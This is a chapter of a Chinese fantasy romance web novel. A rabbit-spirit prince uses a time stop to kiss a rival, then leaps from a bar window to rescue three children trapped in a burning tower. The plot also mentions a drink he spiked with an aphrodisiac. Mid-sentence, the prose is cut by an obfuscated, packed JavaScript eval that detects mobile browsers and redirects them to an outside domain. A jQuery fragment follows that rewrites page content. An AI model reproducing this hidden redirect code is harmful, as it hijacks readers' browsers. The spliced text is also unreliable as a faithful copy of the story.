“兔子能不能变成人,不如你摘下帽子证明一下?” 19.不浪漫的吻 谭欢努力向后仰,希望能离迟与非远一点,他已经能感觉到迟与非的手指碰到他的兔耳朵了! 他不聪明的兔脑瓜在飞速运转,他要怎么解释迟与非在他帽子下面摸到的兔耳朵是什么? 迟与非不会真的摘掉他的帽子吧?要是让迟与非发现他的身份他就别想继续做剧情点任务了!不能做任务就不能刷恨意值,不能刷恨意值就不能靠系统夺得王位…… 不行!他一定要夺得王位! 谭欢抬起眼帘,他已经准备好使用时间暂停逃脱了,至于要如何对迟与非解释他大变活人的事……那就是之后要思考的了。 谭欢深吸一口气,正要暂停时间,包厢门被推开,周洛辰惊讶的声音传来: “小欢?你怎么来了?” 迟与非勾着谭欢帽檐的手指松开,谭欢趁机拍开迟与非的手,翻身从他身上下来,连滚带爬地蹿到包厢另一端,离迟与非远远的。 周洛辰站在门口,视线在迟与非和谭欢两人之间打量,微微皱眉: “你们刚刚……在做什么?你们好像抱在了一起?” 谭欢刚刚躲过一场危机,还在侥幸没有使用“大变活人”的技能,来不及喘口气就忙着跟周洛辰解释: “没啊!我们怎么可能抱在一起!洛辰!迟与非欺负我!你快说他!狠狠地说他!” 谭欢趁机亡羊补牢,完不成剧情点任务,刷一刷恶毒男配的人设值也是好的,要是能得到一点迟与非的恨意值就更好了! 再说他的人设就是喜欢周洛辰的恶毒男配,他可不能在系统不在时把这个人设搞砸了,让周洛辰误会他和迟与非之间有什么! 谭欢着急解释的模样被迟与非看在眼中,他突然后悔刚刚一时心软让谭欢跑了。 他就该直接摘下谭欢的帽子,看他惊慌失措、急红眼眶,看他百口莫辩、可怜流泪。 周洛辰满脸狐疑,他的手机仍在震动,他没有再接,而是叹着气坐回自己的位置,拿起了被谭欢下过药的酒杯。 “你们别闹了,我这几天心情不太好。” 谭欢眨眨眼,看着酒杯离周洛辰的嘴巴越来越近。 系统只跟他说了要怎么做这个剧情点任务,却没说周洛辰会不会喝这杯酒,喝了之后会发生什么,谭欢犹豫他是不是要阻止周洛辰?还是看着周洛辰喝掉什么都不做? 迟与非帮谭欢做出了选择。 迟与非端着酒杯走过来,极为自然地拿走周洛辰的酒倒掉,给他倒了一杯新的。 “冰块都化了,换一杯吧。” 周洛辰不疑有他,端起新倒满的酒喝光。 谭欢看着下了药的酒液全喂给了垃圾桶,又悄悄打量迟与非,被迟与非抓个正着,还对他露出一个充满讽刺意味的微笑。 谭欢心想迟与非真的很爱周洛辰,他是怕春药伤害周洛辰的身体吧?所以才不肯让周洛辰喝,也不肯卑鄙地利用这个机会和周洛辰酱酱酿酿。 谭欢越想越觉得是这么回事,还点了点头。 迟与非见谭欢一脸了然,心中浮现不快。 这蠢兔子想什么呢? 谭欢觉得这个剧情点任务反正已经失败了,迟与非又总想摘他帽子,他还是快点离开这里,等系统回来再继续之后的剧情点任务,他起身想走,却被迟与非重新按回沙发里。 迟与非向周洛辰举杯示意:“一起喝几杯?” 周洛辰点头,抬手和迟与非碰杯。 谭欢盯着在他面前碰撞的两只酒杯,眼睛差点变成斗鸡眼,迟与非要和周洛辰喝酒,干嘛坐在他旁边啊!他现在被周洛辰和迟与非夹在中间,肩膀还被迟与非按着,想跑都跑不了! 谭欢偷偷瞪迟与非,气鼓鼓地转身面向周洛辰,把屁股对着迟与非。 迟与非按着谭欢肩膀的手离开,指尖自谭欢脊背划到腰窝,一触即离。 谭欢的脊背像猫咪一样顺着迟与非的指尖下凹,没忍住深吸一口气。 他动静有点大,周洛辰看了过来,突然问:“小欢,你眼睛怎么有点红?” “啊?我那个……我戴了红色的美瞳!”谭欢不敢面向周洛辰了,又转身面向迟与非。 迟与非作乱的手指已经放回腿上,轻轻敲击,谭欢一转身他就看了过来,眸光暗沉,看得谭欢不自在。 谭欢在心里痛骂迟与非,每当他想起身离开,迟与非就和周洛辰碰杯,把他夹在中间,挡住他的出路,还越挤越近,近到他们两个人的肩膀只有一两厘米的距离就会碰到。 这样的距离谭欢能清晰嗅到属于迟与非的冰冷气息,甚至产生感受到迟与非体温的错觉。 他悄悄摸了摸自己的小肚子,明明肚子平平的,可他就是觉得鼓胀难受,他非常清楚他是一只公兔子,他的肚子里绝对绝对不会有小兔子……可假孕反应总会影响他的判断,让他有怀了小兔子的错觉。 不仅是肚子,胸口也涨涨的。 谭欢睫毛轻颤,想到了什么,颤巍巍地伸手碰了下自己的胸。 太好了,还是平的! 碰完自己的胸口,他又羞耻地将手揣进口袋,怀疑自己会涨奶这种事简直蠢透了! 他在心中默念: 我是公兔子……我是公兔子……我是公兔子…… 这之后谭欢又尝试了几次起身离开,迟与非总是恰到好处地拦住他,谭欢干脆放弃了,往前坐了坐,尽量远离迟与非,缩在沙发边玩手机消磨时间。 迟与非不让他走他就不走了!他今晚就在这里待着!等迟与非和周洛辰喝醉了,他就把他们拖出去扔进垃圾桶! 谭欢愤怒地戳着手机屏幕,翻到了谭月和谭星的朋友圈,两个孩子今天格外活跃,从下午开始就在不停发朋友圈,每一条都塞满了九张照片,照片里的背景是科幻虚拟乐园。 原来今天就是谭大哥家那对龙凤胎去陪好朋友过生日的日子,看样子作为哥哥的谭日也跟着去了。 谭欢挨张照片查看,对这个科幻虚拟乐园很感兴趣,在一张照片里,谭月和谭星背后居然有一只浮在空中的巨大虚拟鲸鱼! 他看得很认真,翻完龙凤胎的朋友圈还刷新了一下,没有刷到新的内容。 龙凤胎最后一条朋友圈的发送时间在一个小时前,照片里他们只露出两个脑袋,说他们在玩捉迷藏,他们的哥哥和好朋友一直没有找到他们,再过10分钟他们就要赢了。 谭欢给这条朋友圈点了个赞,小朋友的快乐真的好简单。 迟与非和周洛辰喝酒的频率降了下来,两个人有一搭没一搭的聊天,说的全是谭欢听不懂的商业话题,谭欢无聊得将狐朋狗友的朋友圈也翻完了,又去各种APP里乱翻。 他发现今晚的本地媒体格外热闹,实时消息里刷新出来的全是本地媒体的报道和一些动图、小视频。 谭欢的注意力本来没在上面,直到他手滑误点开了一段视频。 他的手机是静音的,视频没有声音,但视频里挣扎、呐喊的一对夫妇脸上的绝望是那么清晰、明显,他们被警戒线拦着、被警务人员阻止,仍旧不断往前推挤冲撞。 是谭大哥和谭大嫂。 在他们对面是一幢浓烟滚滚的大厦。 谭欢心脏颤了一下,立刻一一点开那些他本来不感兴趣的本地新闻。 一个个新闻标题触目惊心: 【本市新兴大厦高层起火】 【起火点在18楼,消防云梯难以抵达】 【18楼以上市民被困】 看到这些新闻,谭欢终于明白系统说的另一个可以不重要的剧情点任务是什么了,也明白了系统为什么让他什么都不要做,为什么不断提醒他这里只是书中世界。 起火的大厦就是谭日、谭月、谭星三个孩子去的虚拟科幻乐园所在的大厦。 系统知道他不是普通的人类,知道他也许有做点什么的能力。 谭欢不断刷新,看到了新的新闻: 【消防云梯最高到达15楼,消防员已从15楼进入大厦救援】 【消防员以身犯险,已救出数名被困市民】 看到这里,谭欢松了口气,肯定是他想多了,出现谭大哥、谭大嫂的那条视频应该是最先拍的,现在谭日、谭月、谭星三个孩子应该已经被消防员救出来了。 谭欢的手有点抖,脑海里三个孩子的脸不断闪现。 他深吸一口气,下滑屏幕,又刷新了一次。 新的新闻弹了出来: 【起火点发生崩塌,消防员无法继续救援】 【据传顶层有三个孩子仍旧被困】 【三个孩子身份已确定,是本市知名企业谭氏大儿子的三个子女】 谭欢的手剧烈颤抖,他忍不住啃咬自己的指节。 谭日、谭月、谭星还被困在起火的大厦顶层,视频里大厦已被浓烟覆盖,那三个孩子还活着吗?他是不是该做点什么? 可是系统警告过他什么都不要做,他的人设本就是恶毒男配,他和谭大哥一家的关系不好,三个孩子更是讨厌他,他没必要为了他们以身犯险。 谭欢现在是兔子精血脉显化期,他是有爆发跳跃的能力的,可谭欢也清楚,他是个半吊子,他甚至连半吊子都不如,他至今无法控制自己的血脉能力,况且他的兔子精血脉显化期马上就要结束了,他若是去救人,跳到半空摔下来怎么办? 大厦那里还围着那么多媒体,躲开媒体就是个难题,他若是在这个世界的人面前暴露,系统会不会撤回他的穿书者身份,再也不让他继续做任务刷迟与非的恨意值了? 他想夺得王位,做任务就是他的希望。 迟与非察觉到了谭欢的不安和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15133693|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惶恐,不再逗弄他,问道: “谭欢,你怎么了?” 谭欢被吓了一跳,猛地抬头看向迟与非。 他的眼眸很空洞,睫毛轻颤,像无处停靠的蝶。 谭欢的思绪很乱,他想了很多,脑海里一张又一张脸不断闪现,耳边一句又一句话交替轻语。 谭日、谭月、谭星和他的三个哥哥站在一起,不断地说: “谭欢,你能不能不要总给大家添麻烦?” “你怎么总是什么都做不好?” “小叔叔最讨厌了!” “妈妈说小叔叔是社会败类!” “小欢,你是王子,不要总在子民面前出丑好吗?” 谭欢清楚,他去了不一定能救出三个孩子,还会降低恶毒男配的人设值,还有很大的可能被媒体拍到,去了那里对他百害而无一利。 况且他的发情期潮热和假孕反应又被迟与非勾出来了,他的力气正在消失。 “我不去,我才不去呢……”谭欢看着迟与非呢喃。 迟与非没有听懂:“谭欢,你到底怎么了?” 沉浸在郁闷里的周洛辰也注意到了,转过头来,“小欢,你怎么了?” 谭欢缓缓抬头,用力攥住迟与非的领带,将他拽到面前。 迟与非长这么大,还没人敢对他这么无礼。 他面色微沉,却见谭欢身后的周洛辰维持着震惊的模样不动了,像一幕被定格的电影画面。 迟与非意识到谭欢暂停了时间,立刻不再动弹,伪装同样被暂停。 谭欢的情绪起伏很大,他呜呜咽咽又骂骂咧咧,爬上沙发,爬进迟与非怀里,双手环上迟与非的腰用力抱住,双腿也盘上去,使劲用脸颊蹭迟与非的颈窝。 “呜呜呜,我不去,我不去……” “该死的发情期!该死的假孕!全都烦死了!” 谭欢焦躁又急切地从迟与非身上索取安抚,双手揪紧迟与非后背的衣服。 “不够,我需要更多更多的安抚……根本不够……” 谭欢急得想哭,只是这样的安抚不足以压制他的发情期和假孕反应,不足以让他恢复足够的体力使用兔子精血脉的能力。 “要来不及了!呜呜,迟与非,我讨厌你……” 谭欢半敛红眸,扬起脖颈,粉润柔软的唇仓促用力地贴上迟与非的薄唇。 迟与非垂下的长睫倏然掀起,双手紧紧握拳,用极大的自制力才没有死死抓住这只利用时间暂停在他身上为非作歹的兔子。 谭欢没有亲过人,他甚至没有小兔子互相舔毛的经历。 他毫无章法地用自己的唇磨蹭迟与非的唇,牙齿磕碰,鼻尖相撞,一点都不浪漫。 不浪漫地搅乱了迟与非的心跳。 若是谭欢现在将耳朵贴到迟与非的胸口就能发现迟与非的破绽。 但谭欢顾不上这些了。 他结束这个不浪漫的吻,又嫌弃地用迟与非的衣服擦了擦嘴。 他低头嗅了嗅自己,确定他现在浑身沾满属于迟与非的气息,体内躁动的发情期潮热正在消失,肚子里不存在的小兔子也安分下来。 “这样的安抚应该够了……” 谭欢站起来,“唰啦”一声用力拉开了窗帘。 这里是酒吧三楼,起火的大厦离这里不算太远,但他的时间暂停马上就要结束了,他赶过去的时间不多了。 谭欢打开窗户,夜风灌了进来,吹乱谭欢耳边的碎发。 他扯下头顶的帽子丢在地上,双脚踩上窗框,柔软的兔耳朵轻轻立起。 他深呼吸,透亮的红眸颜色变深,仿佛浸满了鲜血。 “我是圣星的王子……我早晚要夺得王位……” “没有什么事是我做不到的。” 谭欢轻喃着他自己都不太信的话,缓缓闭上眼睛。 再睁眼,他双脚用力,已经从三楼跳了下去。 在谭欢跳出去的刹那,迟与非起身扑过来,抓空了。 迟与非差点心跳骤停,他探出窗户,看到谭欢稳稳落在一辆车的车顶,紧接着高高跃起,以人类绝对达不到的高度跳向了远处。 “他发什么疯?!” 迟与非看着谭欢越来越小的背影,捡起谭欢扔在沙发上的手机,手机定格在新闻界面。 他飞速滑动屏幕查看新闻,眸光越来越冷。 大厦下全是媒体和聚集的市民,蠢兔子敢这样过去,他第二天就得做好躺在实验室的手术台上被切片的准备! 迟与非扔下手机,坐回沙发。 可这一切跟他有什么关系?他何必自找麻烦? 迟与非又站了起来。 他拿起车钥匙,飞快冲向停车场。 等这件事结束,明天……不!今晚!今晚他一定要吃炖兔肉!